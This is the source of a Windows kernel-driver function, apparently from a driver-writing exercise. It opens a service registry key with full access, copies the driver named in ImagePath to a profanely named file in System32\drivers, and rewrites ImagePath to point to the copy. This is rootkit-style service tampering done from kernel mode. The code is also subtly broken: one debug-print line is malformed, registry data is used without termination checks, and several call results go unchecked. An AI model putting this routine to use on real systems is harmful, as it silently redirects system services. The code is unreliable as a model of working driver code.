#include "RegEditFunctions.h"
#include "FileOperate.h"

void RegEditFunctions::OpenKey(PUNICODE_STRING regpath) {
	KdPrint(("[myddk] RegEditFunctions::OpenKey %wZ", regpath);)
	HANDLE keyHandle = NULL;
	OBJECT_ATTRIBUTES obja = { 0 };
	ULONG keyop = 0;

	InitializeObjectAttributes(&obja, regpath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
	NTSTATUS status = STATUS_SUCCESS;
	status = ZwOpenKey(&keyHandle, KEY_ALL_ACCESS, &obja);

	void *pInfo = NULL;

	if (NT_SUCCESS(status)){
		pInfo = ExAllocatePool(NonPagedPool, 0x1000);

		if (pInfo) {
			RtlZeroMemory(pInfo, 0x1000);
			UNICODE_STRING ustrKeyName = { 0 };
			RtlInitUnicodeString(&ustrKeyName, L"ImagePath");
			ULONG lRetLength = 0;
			status = ZwQueryValueKey(keyHandle, &ustrKeyName, KeyValuePartialInformation, pInfo, 0x1000,
				&lRetLength);

			if (!NT_SUCCESS(status)) {
				ZwClose(keyHandle);
				ExFreePool(pInfo);
				return;
			}
			PKEY_VALUE_PARTIAL_INFORMATION tmpinfo = (PKEY_VALUE_PARTIAL_INFORMATION)pInfo;
			PWCHAR imagePath = (PWCHAR)(tmpinfo->Data);
			UNICODE_STRING usDest = { 0 };
			UNICODE_STRING usSrc = { 0 };

			RtlInitUnicodeString(&usDest, L"\\??\\C:\\Windows\\System32\\drivers\\fuckyou.sys");
			RtlInitUnicodeString(&usSrc, imagePath);
		
			KernelCopyFile(&usDest, &usSrc);

			PWCHAR rootpath = L"\\SystemRoot\\System32\\drivers\\fuckyou.sys";
			ZwSetValueKey(keyHandle, &ustrKeyName, 0, REG_EXPAND_SZ, rootpath, (wcslen(rootpath)+1)*2);

			KdPrint(("Imagepath--%ws", imagePath));
			ExFreePool(pInfo);
			ZwClose(keyHandle);
		}
	}
}
